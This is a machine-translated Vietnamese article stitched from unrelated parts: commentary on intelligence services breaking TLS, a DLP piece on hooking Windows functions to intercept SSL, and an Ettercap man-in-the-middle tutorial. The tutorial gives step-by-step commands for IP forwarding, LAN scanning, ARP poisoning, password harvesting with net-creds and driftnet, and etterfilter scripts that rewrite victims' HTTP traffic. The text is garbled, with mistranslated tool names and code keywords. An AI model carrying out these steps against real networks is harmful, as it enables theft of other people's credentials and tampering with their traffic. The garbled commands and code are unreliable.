Chặn dữ liệu từ kết nối SSL (đọc thư của người dùng mạng LAN qua https). Hướng dẫn của Ettercap: tấn công man-in-the-middle (MitM), chặn mật khẩu, bỏ qua HSTS, thay thế dữ liệu nhanh chóng, sử dụng các bộ lọc và plugin tùy chỉnh, nối tiếp

Trong những năm gần đây, đã có sự đảo ngược xu hướng trong chiến lược dịch vụ tình báo tấn công vào giao thức bảo mật quan trọng nhất của Internet, TLS/SSL. Kể từ bây giờ, việc tấn công và hack mật mã trực tiếp không còn chỉ là biện pháp cực đoan mà thường không cần thiết trong thế giới hiện đại, nơi tiền và lợi ích tài chính trở thành động lực chính.

Do tầm quan trọng của vấn đề này, như một phần của loạt ấn phẩm, trang này cung cấp cái nhìn tổng quan về tính bảo mật của ngăn xếp giao thức TLS/SSL, đồng thời kiểm tra các chiến lược nhất quán và có hệ thống để làm suy yếu các giao thức này của các cơ quan tình báo.

Một phần ba lưu lượng truy cập an toàn trên thế giới được tạo ra bằng phương tiện mật mã với PRNG bị làm yếu có chủ ý?

Đã xóa khỏi kênh

Để bắt đầu, chúng ta hãy chuyển sang ví dụ của Nga - phiên tòa mới nhất trong trường hợp chủ sở hữu cũ của hệ thống thanh toán Chronopay Pavel Vrublevsky, bị cáo buộc thực hiện một cuộc tấn công DDoS nhằm vào Aeroflot.

Bản chất của âm mưu chính là tòa án đã yêu cầu trao đổi thư từ nội bộ giữa những người tham gia vào quá trình phạm tội này mà họ thực hiện thông qua tài khoản cá nhân trên Facebook. Bất chấp thực tế là nó chứa thông tin buộc tội quan trọng, mạng xã hội quỷ quyệt của Mỹ đã không đáp ứng yêu cầu của công lý Nga và từ chối quyền truy cập vào thư từ riêng tư của công dân Nga. Và ở đây, bước ngoặt kịch tính nhất trong câu chuyện này xảy ra - FSB, khi thi hành quyết định của tòa án, độc lập “có được” thư từ của những công dân này.

“CIB của FSB, theo Luật “Về hoạt động điều tra-hoạt động”, đã thu thập thông tin một cách độc lập từ các kênh liên lạc của những người được chỉ định và ghi lại vào đĩa DVD.”

Thật vậy, người bào chữa sau đó đã có thể xác minh rằng thư từ cá nhân cần thiết đã bị “xóa toàn bộ và số lượng khỏi mạng” trái với ý muốn của Facebook. Đồng thời, bản thân các bị cáo trong vụ án này cũng phủ nhận việc cung cấp mật khẩu và thư từ tự buộc tội cho cơ quan điều tra. Trên RuNet, bạn có thể tìm thấy những tiêu đề tin tức hào nhoáng như “FSB Nga đã tấn công máy chủ Facebook”, nhưng bạn không nên đi quá xa với kết luận của mình.

Thứ nhất, tất cả các phiên liên lạc với Facebook đều được thực hiện độc quyền thông qua giao thức liên lạc HTTPS an toàn. Thứ hai, đã khá lâu trôi qua kể từ lần tiếp xúc cuối cùng giữa các bị cáo và quyết định này của tòa án (và do đó, các hoạt động điều tra của FSB để thực hiện quyết định này). “Dữ liệu quá khứ” này có thể bị “xóa” từ “kênh” nào nếu bản thân các bị cáo không lên mạng kể từ đó, đang bị điều tra?

Họ phớt lờ những câu hỏi trực tiếp này được đưa ra tại phiên tòa cho đại diện FSB. Phiên bản rõ ràng nhất của câu trả lời đã tự gợi ý: lưu lượng HTTPS với thư từ này đã bị FSB nắm bắt/lưu trước và bằng cách nào đó sau đó đã bị tấn công.

Điều thú vị là một trường hợp gần như tương tự đã được ghi lại trước đó trong các tài liệu của vụ án tương tự. FSB CIB, trích dẫn giao thức điều tra, “bằng cách lưu và phân tích lưu lượng kết nối Internet của một trong những bị cáo, đã khôi phục thông tin đăng nhập và mật khẩu từ bảng điều khiển botnet” (được đặt trên một máy chủ ở Hoa Kỳ), sau đó thu giữ điều khiển từ xa. kiểm soát botnet này. Vì vậy, việc truy cập vào cùng bảng điều khiển web đó đã được thực hiện bởi bị cáo, một lần nữa chỉ thông qua kết nối HTTPS được mã hóa, tuân thủ các biện pháp phòng ngừa (ví dụ: không lưu mật khẩu trên máy tính cục bộ của anh ta).

Do đó, chúng tôi nêu rõ sự hiện diện của các vấn đề với bảo mật HTTPS, trích dẫn các trường hợp nổi bật về việc cơ quan tình báo Nga vượt qua “sự bảo vệ” TLS/SSL.

phương thức hoạt động

Để hack phiên HTTPS được mã hóa, bạn sẽ cần giải quyết hai vấn đề chính: có thể nghe (chặn) lưu lượng truy cập và cũng có thể giải mã dữ liệu được gói gọn trong gói được bảo vệ như vậy.

Chúng tôi sẽ không tập trung chi tiết vào điểm đầu tiên vì các dịch vụ đặc biệt có quyền truy cập vật lý vào hầu hết mọi kênh. Những người theo dõi tin tức mới nhất từ ​​SORMostroeniya đều biết rằng theo luật mới, kể từ ngày 1 tháng 7 năm 2014, tất cả các nhà cung cấp của Nga đều phải cài đặt thiết bị đặc biệt trên mạng của họ để ghi lại và lưu trữ đầy đủ lưu lượng truy cập Internet quá cảnh của họ trong một khoảng thời gian. ít nhất 12 giờ. Hơn nữa, lực lượng an ninh sẽ có quyền truy cập trực tiếp vào tất cả các bộ dữ liệu được lưu trữ và truyền tải.

Gmail viết cho tôi: "Tài khoản hoặc máy tính của bạn có thể đã bị xâm nhập bởi các tin tặc được chính phủ hậu thuẫn"

– La Mã Dobrokhotov (@Dobrokhotov) Ngày 9 tháng 9 năm 2014

Nếu chúng ta nói về việc nghe các phiên HTTPS, chúng ta sẽ lưu ý ngay một điểm quan trọng - sự cần thiết phải có “chế độ hoạt động” để nghe trong một số trường hợp, vì sau này không phải lúc nào lưu lượng đã lưu cũng có thể bị hack. Chúng ta đang nói về cái gọi là chế độ bảo mật chuyển tiếp (FS) cho giao thức HTTPS, chế độ này ngăn khả năng phục hồi dữ liệu sau khi kết thúc phiên giao tiếp (ngay cả khi kẻ tấn công sau đó có thể lấy được khóa trang web hợp lệ). Sự hiện diện của chế độ như vậy buộc kẻ tấn công phải “tấn công khi bàn ủi còn nóng” - nghĩa là hack dữ liệu trong thời gian thực, điều mà trong phần lớn các trường hợp là khó thực hiện được về mặt kỹ thuật.

Tin xấu là Facebook, cũng như hầu hết các cổng Internet lớn khác, không sử dụng bí mật chuyển tiếp vì nó tạo thêm gánh nặng nghiêm trọng cho mạng xã hội vốn đã quá tải. Ngoài ra, việc sử dụng các thuật toán DH tiên tiến như vậy có thể tác động tiêu cực đến khả năng tương thích với một số trình duyệt phổ biến. Bây giờ thật dễ hiểu tại sao, theo thống kê của Netcraft tính đến mùa hè năm 2013, khoảng 70-99% kết nối SSL được quan sát trong quá trình giám sát này hoàn toàn không sử dụng FS.

Nghĩa là, trong phần lớn các trường hợp, kẻ tấn công có thể lưu lưu lượng HTTPS của bạn một cách an toàn để truy cập và hack sau này (ví dụ: khi biết khóa máy chủ riêng).

Trên đây là phép đo mức độ giảm hiệu năng trên bộ xử lý máy chủ web 6 lõi khi bật và tắt chế độ DHE. DHE được chọn là ví dụ điển hình và phổ biến nhất về việc triển khai Bí mật chuyển tiếp hoàn hảo. Ví dụ: Google, dịch vụ hỗ trợ hầu hết tất cả các cải tiến về tiền điện tử và phương tiện bảo vệ người dùng (đây là một ngoại lệ nổi bật đối với thông lệ Internet nói chung), triển khai các khóa phiên PFS tồn tại trong thời gian ngắn (“phù du”) dựa trên ECDHE_RSA. Và đây là một thú vui rất rất đắt giá, tin tôi đi!

Khi tính đến nhận xét này, chúng tôi sẽ cho rằng mọi thứ ít nhiều rõ ràng với việc chặn giao thông. Bây giờ hãy xem những việc cần làm tiếp theo với luồng được mã hóa đã lưu.

Có vẻ như thuật toán chung trong trường hợp này sẽ trông giống như sau: khi lưu lượng truy cập phiên HTTPS quan tâm bị chặn bởi các dịch vụ tình báo giả định, hệ thống thông tin của họ sẽ nhận được yêu cầu tìm kiếm khóa máy chủ tương ứng với cơ sở dữ liệu của nó. Nếu không tìm thấy khóa như vậy, nó sẽ được xếp hàng đợi để tính toán thêm (bẻ khóa). Khi tính đến nhận xét về thực tế không có sẵn tùy chọn FS, việc âm thầm tích lũy (ghi lại) lưu lượng truy cập quan tâm mà không cần chờ hệ thống phản ứng với tính sẵn sàng/có sẵn của khóa để giải mã trong thời gian thực luôn là điều hợp lý.

Đối với cơ sở dữ liệu về khóa máy chủ được đề cập, vào mùa hè năm 2013, Cnet đã công bố thông tin và tài liệu mẫu về yêu cầu của NSA tới một công ty Internet lớn muốn giấu tên. Theo nguồn tin này, được biết rằng các nền tảng Internet lớn khác (Google, Microsoft, Apple, Yahoo, AOL, Verizon, AT&T, v.v.) cũng nhận được yêu cầu tương tự. Cnet đã chính thức liên hệ với các tổ chức này với yêu cầu bình luận về thực tế của yêu cầu đó, nhưng trong phần lớn các trường hợp, các công ty này từ chối xác nhận hoặc phủ nhận sự tương tác đó với NSA.

“Một lần nữa tôi lại phủ nhận quan niệm sai lầm rằng nguồn mở là con đường dẫn đến độ tin cậy. Lỗi này trong Debian OpenSSL đã gần hai năm rồi."

Quả thực, lỗ hổng này chỉ được đóng lại sau một cơn náo động trên báo chí. Bản thân dự án Debian đã gọi tình huống có lỗi tồn tại từ lâu trong kho lưu trữ OpenSSL của nó là “một câu chuyện khá kỳ lạ”.

Nếu chúng ta nói về những “dấu trang” phần cứng khét tiếng, thì gần đây chúng đã nở rộ ở những nơi không ngờ nhất: từ bàn là đến máy pha cà phê. Do đó, theo Spiegel, bộ phận đặc biệt “Hoạt động truy cập phù hợp” (TAO) của NSA trong một thời gian dài đã thực hiện việc chặn hàng loạt thiết bị máy tính (và các thiết bị khác) được nhiều công ty và quốc gia mua trên đường từ nhà cung cấp đến người nhận. . Đồng thời, thiết bị bị chặn, được chuyển đến một khách hàng mà NSA quan tâm, nhanh chóng đi qua “nhà máy” TAO bí mật, nơi phần mềm đã sửa đổi hoặc “lỗi” được đưa vào đó. Sự can thiệp như vậy vào quá trình cung cấp vì các mục đích riêng của nó, được chỉ định bằng thuật ngữ đặc biệt “ngăn chặn”, được chính NSA đánh giá là một trong những “loại hoạt động hiện đại hiệu quả nhất”.

NSA có kế hoạch lây nhiễm phần mềm độc hại có khả năng xảy ra cho hàng triệu máy tính như một phần của Hoạt động Truy cập Tùy chỉnh của mình

Trong số các nhiệm vụ bảo mật thông tin, cuộc chiến chống rò rỉ thông tin bí mật ngày càng trở nên quan trọng. Theo các nguồn mở, trong năm 2016 vừa qua, số vụ rò rỉ đã tăng 86% và 47% các công ty Nga thuộc nhiều danh mục khác nhau đã phải đối mặt với vấn đề này. Vấn đề này được giải quyết bằng cách sử dụng hệ thống lớp DLP (Ngăn chặn mất dữ liệu). Bài viết thảo luận về việc triển khai một trong các mô-đun của hệ thống như vậy, cung cấp khả năng giám sát lưu lượng SSL/TLS bằng cách chặn các chức năng của hệ thống Windows.

Chống rò rỉ thông tin quan trọng đòi hỏi phải giám sát lưu lượng mạng. Điều này liên quan đến việc phân tích tất cả dữ liệu được truyền qua mạng theo nhiều cách khác nhau, bao gồm cả dữ liệu được truyền được mã hóa qua giao thức SSL/TLS.

Có thể chặn dữ liệu được truyền qua giao thức SSL/TLS bằng cách sử dụng cuộc tấn công trung gian (hay gọi tắt là MITM). Để làm được điều này, hệ thống giám sát đóng vai trò trung gian giữa máy khách và máy chủ. Tất cả thông tin từ máy khách trước tiên sẽ được chuyển đến trung gian (tức là hệ thống giám sát), sau đó được chuyển tiếp đến máy chủ. Ngược lại, tất cả thông tin từ máy chủ trước tiên sẽ đến bên trung gian và sau đó được chuyển tiếp đến máy khách.

Hình 1. Tấn công xen giữa


Cách đơn giản nhất để “giới thiệu” một bên trung gian là dựa vào việc sử dụng một máy chủ trung gian (proxy server). Trong trường hợp này, máy khách và máy chủ không giao tiếp trực tiếp. Máy khách gửi tất cả các yêu cầu đến một máy chủ trung gian, máy chủ này sẽ chuyển tiếp chúng đến máy chủ thực. Tương tự, máy chủ thực gửi phản hồi đến máy chủ trung gian, máy chủ này sẽ chuyển tiếp chúng đến máy khách.

Nếu dữ liệu được truyền bằng SSL/TLS thì cả hai kết nối (từ máy khách đến máy chủ trung gian và từ máy chủ trung gian đến máy chủ thực) đều được bảo mật. Cả hai kết nối đều sử dụng chứng chỉ riêng và khóa riêng của chúng. Máy chủ trung gian giữ các khóa riêng cho cả hai kết nối và “mã hóa lại” dữ liệu: nó nhận dữ liệu được mã hóa, giải mã, mã hóa bằng một khóa riêng khác và cuối cùng gửi dữ liệu đó đi. Như vậy, máy chủ trung gian có tất cả dữ liệu được truyền ở dạng không được mã hóa.

Sử dụng máy chủ dàn dựng có hai nhược điểm quan trọng. Đầu tiên, nó có thể quá dễ nhận thấy đối với người dùng cuối. Thứ hai, nếu máy chủ trung gian được khởi chạy trên máy khách, thì ở cấp độ hệ điều hành, số lượng kết nối mạng mở sẽ tăng gấp đôi. Điều này tạo ra tải bổ sung cho hệ thống con mạng hệ điều hành và có thể dẫn đến lỗi trong trường hợp cần có một số lượng lớn kết nối mạng mở đồng thời.

Việc chặn các lệnh gọi hàm hệ thống cung cấp một cách tinh tế và kín đáo hơn để triển khai kẻ trung gian. Để thực hiện điều này, hệ thống giám sát kết nối với một quy trình đang chạy và thay thế các chức năng hệ thống được sử dụng trong quá trình tương tác mạng cho quy trình đó. Hơn nữa, khi quá trình truy cập vào các chức năng hệ thống bị chặn, quyền kiểm soát sẽ được chuyển sang hệ thống giám sát. Do đó, nó hoàn toàn kiểm soát các hoạt động mạng của tiến trình và có thể đóng vai trò trung gian trong sự tương tác của tiến trình với máy chủ từ xa.


Hình 2. Tấn công trung gian bằng cách sử dụng thư viện phần mềm trung gian để chặn các chức năng của hệ thống


Việc khởi chạy hệ thống giám sát lưu lượng SSL/TLS diễn ra theo ba bước đơn giản:
1. Kết nối với quy trình máy khách được chỉ định (sử dụng các khả năng tiêu chuẩn của hệ điều hành).
2. Đang tải một thư viện trung gian động, thực hiện các chức năng tương tác mạng của chính nó.
3. Định cấu hình chặn các chức năng tương tác mạng để khi các chức năng này được gọi, lệnh gọi không được thực hiện đối với các chức năng hệ thống mà đối với các chức năng được triển khai trong thư viện đã tải.

Thư viện dàn xếp có các khả năng tương tự như máy chủ trung gian. Do đó, tất cả thông tin từ ứng dụng khách trước tiên sẽ được chuyển đến thư viện trung gian, sau đó được chuyển tiếp đến máy chủ thực. Ngược lại, tất cả thông tin từ máy chủ thực trước tiên sẽ được chuyển đến thư viện trung gian và sau đó được chuyển tiếp đến ứng dụng.


Hình 3. Việc chặn dữ liệu bởi thư viện trung gian


Để tương tác với máy chủ, thư viện trung gian sử dụng các cơ chế và chức năng hệ thống tiêu chuẩn. Nếu thông tin được truyền bằng SSL/TLS thì kết nối an toàn sẽ được sử dụng do thư viện trung gian thiết lập. Sau khi kết nối được thiết lập, thư viện trung gian “biết” khóa riêng được sử dụng để mã hóa/giải mã dữ liệu.

Tương tác với ứng dụng khách xảy ra theo một cách hơi khác. Thư viện proxy sẽ kiểm soát khi ứng dụng khách gọi một số chức năng mạng. Nếu hàm được gọi có các đối số đầu vào thì thư viện middleware sẽ nhận các giá trị của các đối số đó. Tiếp theo, thư viện trung gian “mô phỏng” hoạt động của hàm này và nếu hàm có các đối số đầu ra thì thư viện trung gian sẽ tạo ra các giá trị của các đối số này. Logic này áp dụng tuyệt đối cho tất cả các chức năng bị chặn, bao gồm các chức năng thiết lập kết nối, truyền dữ liệu và nhận phản hồi của máy chủ.

Thư viện trung gian tương tác đồng thời với cả ứng dụng khách và máy chủ từ xa. Logic vận hành phụ thuộc vào các hành động được thực hiện bởi ứng dụng khách:

1. Việc thiết lập kết nối mạng mới diễn ra như sau:
- ứng dụng gọi chức năng hệ thống cần thiết;
- cuộc gọi được chuyển đến thư viện trung gian;
- thư viện trung gian thiết lập kết nối với máy chủ và thực hiện độc lập tất cả các hành động do giao thức SSL/TLS cung cấp: kiểm tra chứng chỉ máy chủ, gửi chứng chỉ của chính nó, bắt tay, tạo khóa riêng, v.v.
- thư viện trung gian trả lại quyền kiểm soát cho ứng dụng;
- ứng dụng thực hiện tất cả các hành động cần thiết để thiết lập kết nối thông qua giao thức SSL/TLS, gọi các chức năng giao tiếp mạng. Thư viện hòa giải chặn tất cả các cuộc gọi này, nhưng không thực hiện bất kỳ cuộc gọi nào đến máy chủ thực mà chỉ “phản hồi” với chính ứng dụng. Từ quan điểm của ứng dụng, mọi thứ trông như thể có sự tương tác với một máy chủ thực sự (bao gồm cả việc bắt tay và tạo khóa riêng).
Kết quả của những hành động này là thư viện trung gian có hai khóa riêng của giao thức SSL/TLS cùng một lúc. Một khóa được sử dụng để tương tác với ứng dụng, khóa còn lại được sử dụng để tương tác với máy chủ.

2. Để truyền dữ liệu đến máy chủ, ứng dụng gọi một chức năng hệ thống. Dữ liệu đã được mã hóa sẽ được chuyển đến đầu vào của hàm. Thư viện phần mềm trung gian chặn cuộc gọi này và thực hiện như sau:
- giải mã dữ liệu được truyền bằng khóa riêng nhận được khi thiết lập kết nối với ứng dụng;
- mã hóa dữ liệu nhận được bằng khóa riêng nhận được khi thiết lập kết nối với máy chủ;
- gửi dữ liệu được mã hóa đến máy chủ.

3. Việc nhận dữ liệu từ máy chủ diễn ra theo cách tương tự nhưng theo thứ tự ngược lại. Ứng dụng gọi hàm lấy dữ liệu và thư viện phần mềm trung gian chặn lệnh gọi này và thực hiện như sau:
- nhận một phần dữ liệu từ máy chủ;
- giải mã dữ liệu nhận được bằng khóa riêng nhận được khi thiết lập kết nối với máy chủ;
- mã hóa dữ liệu nhận được bằng khóa riêng nhận được khi thiết lập kết nối với ứng dụng;
- trả về dữ liệu được mã hóa (hoặc một phần của nó) do hàm này.

4. Khi mất kết nối, ứng dụng sẽ gọi chức năng tương ứng. Thư viện phần mềm trung gian chặn cuộc gọi này, đóng kết nối với máy chủ, xóa cấu trúc bên trong của nó và trả lại quyền điều khiển cho ứng dụng.

Việc triển khai kỹ thuật phương pháp chặn giao thông đề xuất gặp một số khó khăn. Một ứng dụng có thể sử dụng nhiều phương thức giao tiếp mạng khác nhau (chế độ chặn và không chặn, chế độ hoạt động không đồng bộ, v.v.). Trong một hệ thống giám sát chính thức, cần phải tính đến tất cả các tình huống hành vi ứng dụng có thể xảy ra. Nếu không, hệ thống giám sát sẽ không hoạt động.

Một vấn đề nghiêm trọng hơn là sự hiện diện của một thư viện trung gian có thể được người dùng thành thạo chú ý. Thư viện proxy "trả lời" ứng dụng thay mặt cho máy chủ nhưng sử dụng chứng chỉ tự ký của chính nó. Nhiều ứng dụng khách (chẳng hạn như trình duyệt Internet) hoạt động chính xác với chứng chỉ tự ký của máy chủ nhưng luôn cho phép bạn xem nó. Nếu người dùng nhìn thấy chứng chỉ tự ký không liên quan gì đến máy chủ thực thì người dùng có thể nghi ngờ sự hiện diện của một bên trung gian.

Nhìn chung, phương pháp được đề xuất để giám sát lưu lượng TLS/SSL cực kỳ hiệu quả vì nhiều lý do. Thứ nhất, thư viện hoạt động như một trung gian chính thức giữa ứng dụng và máy chủ. Nó kiểm soát hoàn toàn mọi hoạt động mạng của ứng dụng và tất cả dữ liệu được gửi/nhận. Thứ hai, việc triển khai thư viện trung gian không yêu cầu tài nguyên hệ thống đáng kể. Cuối cùng, chỉ người dùng có kinh nghiệm mới nhận thấy sự hiện diện của thư viện trung gian.

Các lựa chọn thay thế cho Ettercap

Ettercap là phần mềm tấn công trung gian phổ biến nhất, nhưng liệu nó có phải là phần mềm tốt nhất không? Trong toàn bộ hướng dẫn, bạn sẽ thấy rằng Ettercap hầu như không bao giờ được sử dụng một mình, chương trình này hay chương trình khác luôn được xây dựng cùng với nó trong chuỗi xử lý lưu lượng. Có lẽ điều này làm tăng thêm tính linh hoạt; nói chung, cách tiếp cận này là nền tảng của UNIX - một chương trình thực hiện một nhiệm vụ và người dùng cuối kết hợp nhiều chương trình khác nhau để đạt được kết quả mong muốn. Với cách tiếp cận này, mã chương trình sẽ dễ bảo trì hơn; từ những “viên gạch” thu nhỏ như vậy, bạn có thể xây dựng một hệ thống có độ phức tạp và linh hoạt bất kỳ. Tuy nhiên, việc có năm bảng điều khiển mở với các nhiệm vụ khác nhau, công việc của các chương trình nhằm đạt được một kết quả duy nhất, không thuận tiện lắm, đơn giản là nó phức tạp hơn, có khả năng mắc lỗi ở một giai đoạn nào đó và toàn bộ cấu hình hệ thống sẽ làm việc vô ích.

Net-Cred đánh hơi:

  • URL đã truy cập
  • Đã gửi yêu cầu POST
  • thông tin đăng nhập/mật khẩu từ biểu mẫu HTTP
  • thông tin đăng nhập/mật khẩu để xác thực HTTP cơ bản
  • tra cứu HTTP
  • Thông tin đăng nhập/mật khẩu FTP
  • Thông tin đăng nhập/mật khẩu IRC
  • Thông tin đăng nhập/mật khẩu POP
  • Thông tin đăng nhập/mật khẩu IMAP
  • Thông tin đăng nhập/mật khẩu Telnet
  • Thông tin đăng nhập/mật khẩu SMTP
  • Chuỗi cộng đồng SNMP
  • tất cả các giao thức NTLMv1/v2 được hỗ trợ như HTTP, SMB, LDAP, v.v.
  • Kerberos

Một lựa chọn tốt về những hình ảnh bị chặn và driftnet đơn giản hơn về mặt này - nó chỉ hiển thị những hình ảnh bị chặn.

Chuyển máy của bạn sang chế độ chuyển tiếp.

Echo "1" > /proc/sys/net/ipv4/ip_forward

Khởi chạy Ettercap với giao diện đồ họa (-G):

Ettercap-G

Bây giờ hãy chọn Hosts, có một mục con Quét tìm máy chủ. Sau khi quét xong chọn Hosts list:

Với tư cách là Target1, hãy chọn bộ định tuyến (Thêm vào mục tiêu 1), khi Target2 chọn thiết bị bạn sẽ tấn công (Thêm vào mục tiêu 2).

Nhưng ở đây có thể xảy ra trở ngại đầu tiên, đặc biệt nếu có nhiều máy chủ. Trong các hướng dẫn khác nhau, bao gồm cả trong video được trình bày ở trên, các tác giả leo vào máy mục tiêu (vì lý do nào đó, mọi người đều có Windows) và sử dụng lệnh, họ xem IP của máy này trên mạng cục bộ. Đồng ý, tùy chọn này không được chấp nhận trong điều kiện thực tế.

Nếu bạn quét bằng cách sử dụng , bạn có thể nhận được một số thông tin bổ sung về máy chủ hoặc chính xác hơn là về nhà sản xuất card mạng:

Nmap -sn 192.168.1.0/24

Nếu dữ liệu vẫn chưa đủ, bạn có thể quét để xác định HĐH:

Nmap -O 192.168.1.0/24

Như chúng ta có thể thấy, máy có IP 192.168.1.33 hóa ra là Windows, nếu đây không phải là dấu hiệu từ trên xuống thì đó là gì? 😉 cười lớn

Đây là những gì chúng tôi đang thêm vào như một mục tiêu thứ hai.

Bây giờ hãy vào mục menu Mitm. Ở đó, chọn Ngộ độc ARP... Đánh dấu vào ô Đánh hơi kết nối từ xa.

Chúng tôi bắt đầu thu hoạch, trong một cửa sổ chúng tôi khởi động

Tín dụng ròng

ở một nơi khác (cả hai chương trình đều có thể chạy mà không cần tùy chọn)

Lưới trôi

Việc thu thập dữ liệu bắt đầu ngay lập tức:

Ở phía bên phải, Driftnet đã mở một cửa sổ khác trong đó hiển thị các hình ảnh bị chặn. Trong cửa sổ net-creds, chúng tôi thấy các trang web đã truy cập và mật khẩu bị chặn:

1.2 Ettercap + Burp Suite
3. Xem dữ liệu (các trang web đã truy cập và lấy được mật khẩu) trong Ettercap

Trong menu Xem, chúng tôi có quyền truy cập vào tab Kết nối và Cấu hình. Bạn cũng có thể chọn hộp Giải quyết địa chỉ IP. Tất nhiên, các kết nối là các kết nối. Ettercap thu thập hồ sơ trong bộ nhớ cho mỗi máy chủ mà nó phát hiện được. Người dùng và mật khẩu được thu thập ở đó. Trong trường hợp này, hồ sơ có dữ liệu tài khoản (mật khẩu) đã thu thập được đánh dấu bằng dấu gạch chéo:

Không cần phải phụ thuộc quá nhiều vào hồ sơ - ví dụ: thông tin đăng nhập và mật khẩu bị chặn cho FTP và các dịch vụ khác sẽ được đánh dấu để chương trình có thể hiểu rõ thông tin nhận được dưới dạng thông tin xác thực. Ví dụ: điều này không bao gồm dữ liệu xác thực cơ bản, thông tin đăng nhập và mật khẩu được nhập vào biểu mẫu web.

Trong Kết nối, dữ liệu hứa hẹn nhất được đánh dấu bằng dấu hoa thị:

Bạn có thể nhấp đúp vào các mục này để xem chi tiết:

Để không phải tìm kiếm những ngôi sao này trong danh sách, bạn có thể sắp xếp theo trường này và chúng đều sẽ xuất hiện ở trên cùng hoặc dưới cùng:

Xác thực cơ bản bị bắt:

Mật khẩu đăng nhập cho Yandex (được đánh dấu bên dưới):

Đây là những thông tin đăng nhập bị chặn đối với VKontakte:

Ngoài ra, dữ liệu thú vị nhất được thu thập ở bảng điều khiển phía dưới:

Nếu bạn muốn lưu kết quả của chương trình, hãy sử dụng các tùy chọn này (chỉ định các phím khi khởi động Ettercap:

Tùy chọn ghi nhật ký: -w, --write ghi dữ liệu đã ghi vào pcapfile -L, --log ghi tất cả lưu lượng truy cập vào -l, --log-info chỉ ghi thông tin thụ động vào -m, --log-msg ghi tất cả tin nhắn trong -c, --compress này sử dụng nén gzip cho các tệp nhật ký

4. Thay thế dữ liệu nhanh chóng trong Ettercap
4.1 Sử dụng Bộ lọc tùy chỉnh Ettercap

Lưu ý: Bất chấp mọi thử nghiệm, bộ lọc Ettercap vẫn không hoạt động với tôi. Thật khó hiểu đó là do bàn tay, tính năng phần cứng hay lỗi trong chính chương trình... Nhưng đối với phiên bản 0.8.2 (mới nhất ở thời điểm hiện tại), có một báo cáo lỗi về sự cố với bộ lọc. Nói chung, dựa trên các báo cáo lỗi và diễn đàn, các bộ lọc thường xuyên bị rơi ra hoặc không hoạt động trong một thời gian dài. Có một chi nhánh nơi các thay đổi đã được thực hiện cách đây 5 tháng https://github.com/Ettercap/ettercap/tree/filter-improvements, tức là. cải tiến bộ lọc (với các cải tiến về bộ lọc). Cả nhánh này và phiên bản từ kho lưu trữ, rất nhiều thử nghiệm đã được thực hiện, nhiều bộ lọc khác nhau đã được thử nghiệm trong các điều kiện khác nhau, đã mất rất nhiều thời gian nhưng không có kết quả. Nhân tiện, để cài đặt phiên bản cải tiến bộ lọc trong Kali Linux, bạn cần thực hiện việc này:

Sudo apt-get xóa ettercap-đồ họa ettercap-common Sudo apt-get cài đặt git debhelper bison kiểm tra cmake flex ghostscript libbsd-dev libcurl4-openssl-dev libgtk2.0-dev libltdl-dev libluajit-5.1-dev libncurses5-dev libnet1-dev libpcap-dev libpcre3-dev libssl-dev libgtk-3-dev ghostscript groff libtool libpcre3 libncurses5-dev git clone -b filter-improvements https://github.com/Ettercap/ettercap.git cd ettercap/ mkdir build cd build cmake ENABLE_PDF_DOCS =Bật ../ tạo sudo thực hiện cài đặt

Nói chung, nếu bộ lọc của bạn không hoạt động thì bạn không đơn độc. Trong hướng dẫn về Ettercap, tôi không thể bỏ qua chủ đề về bộ lọc, vì vậy chúng sẽ được thảo luận trong mọi trường hợp.

Cho đến nay chúng tôi đã sử dụng Ettercap để giả mạo ARP. Đây là một ứng dụng rất hời hợt. Nhờ các bộ lọc tùy chỉnh, chúng tôi có thể can thiệp và thay đổi lưu lượng truy cập một cách nhanh chóng. Các bộ lọc phải được chứa trong các tệp riêng biệt và phải được biên dịch bằng chương trình Etterfilter trước khi sử dụng. Mặc dù tài liệu mà liên kết được cung cấp có vẻ ít ỏi nhưng kết hợp với các ví dụ được đưa ra bên dưới, nó sẽ cho phép bạn viết các bộ lọc khá thú vị.

Hãy tạo bộ lọc đầu tiên của chúng ta, nó sẽ thay thế tất cả hình ảnh bằng bộ lọc này:

Trong tệp có tên img_replacer.filter sao chép:

If (ip.proto == TCP && tcp.dst == 80) ( if (search(DATA.data, "Accept-Encoding")) ( thay thế("Chấp nhận-Mã hóa", "Chấp nhận-Rubbish!"); # lưu ý: chuỗi thay thế có cùng độ dài với thông điệp ban đầu("zapped Accept-Encoding!\n"); ) ) if (ip.proto == TCP && tcp.src == 80) ( thay thế("src=" , " src=\"http://www.irongeek.com/images/jollypwn.png\" "); thay thế("SRC=", "src=\"http://www.irongeek.com/images/ jollypwn. png\" "); thay thế("src =", "src=\"http://www.irongeek.com/images/jollypwn.png\" "); thay thế("SRC =", "src= \" http://www.irongeek.com/images/jollypwn.png\" "); msg("Filter Ran.\n"); )

Biên dịch tập tin:

Etterfilter img_replacer.filter -o img_replacer.ef

Kết quả tổng hợp:

Etterfilter 0.8.2 bản quyền 2001-2015 Nhóm phát triển Ettercap Đã tải 14 bảng giao thức: DỮ LIỆU GIẢI MÃ udp tcp esp gre icmp ipv6 ip arp wifi fddi tr eth 13 hằng số được tải: VRRP OSPF GRE UDP TCP ESP ICMP6 ICMP PPTP PPPOE IP6 IP ARP Phân tích tệp nguồn "img_replacer.filter" đã xong. Việc mở ra cây meta đã xong. Việc chuyển đổi nhãn thành offset thực đã được thực hiện. Viết đầu ra vào "img_replacer.ef" đã xong. -> Tập lệnh được mã hóa thành 18 hướng dẫn.

Công tắc -F yêu cầu chương trình tải bộ lọc từ tệp theo sau công tắc. Sau khi biên dịch, tên của tệp mới của chúng tôi với bộ lọc là img_replacer.ef, vì vậy lệnh có dạng:

Ettercap -G -F img_replacer.ef

Lưu ý: Khi bạn giám sát lưu lượng truy cập web, các gói bạn nhìn thấy có thể ở dạng được mã hóa. Để các bộ lọc hoạt động hiệu quả, Ettercap yêu cầu lưu lượng văn bản thuần túy. Theo một số quan sát, kiểu mã hóa mà các trang web sử dụng là "Accept-Encoding: gzip, deflate"

Dưới đây là bộ lọc ghi đè mã hóa, buộc giao tiếp ở dạng văn bản thuần túy:

If (ip.proto == TCP && tcp.dst == 80) ( if (search(DATA.data, "gzip")) ( thay thế("gzip", " "); # lưu ý: bốn dấu cách trong chuỗi được thay thế msg ("làm trắng gzip\n"); ) ) if (ip.proto == TCP && tcp.dst == 80) ( if (search(DATA.data, "deflate")) ( thay thế("deflate", " "); # lưu ý: bảy khoảng trắng trong thông điệp dòng được thay thế("làm trắng deflate\n"); ) )

Cú pháp viết bộ lọc được mô tả chi tiết và sau đó có thêm một số ví dụ:

